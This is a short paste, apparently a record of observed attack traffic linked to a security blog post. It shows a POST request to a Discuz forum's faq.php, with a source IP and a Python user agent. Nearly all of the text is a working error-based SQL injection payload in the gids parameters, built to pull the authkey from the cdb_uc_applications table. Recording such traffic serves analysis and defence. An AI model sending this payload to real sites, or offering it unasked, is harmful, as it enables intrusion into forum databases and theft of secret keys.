Discuz SQL Injection example

Discuz SQL Injection example
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Blog about this javascript: http://neonprimetime.blogspot.com/2015/11/discuz-sqli-duplicate-entry-for-key.html
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Source IP:         103.231.107.245
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POST /faq.php   HTTP/1.1
User-Agent: Python-urllib/2.7
action=grouppermission
gids[99]='
gids[100][0]=) and (select 1 from (select count(*),concat((select substr(authkey,1,62) from cdb_uc_applications limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#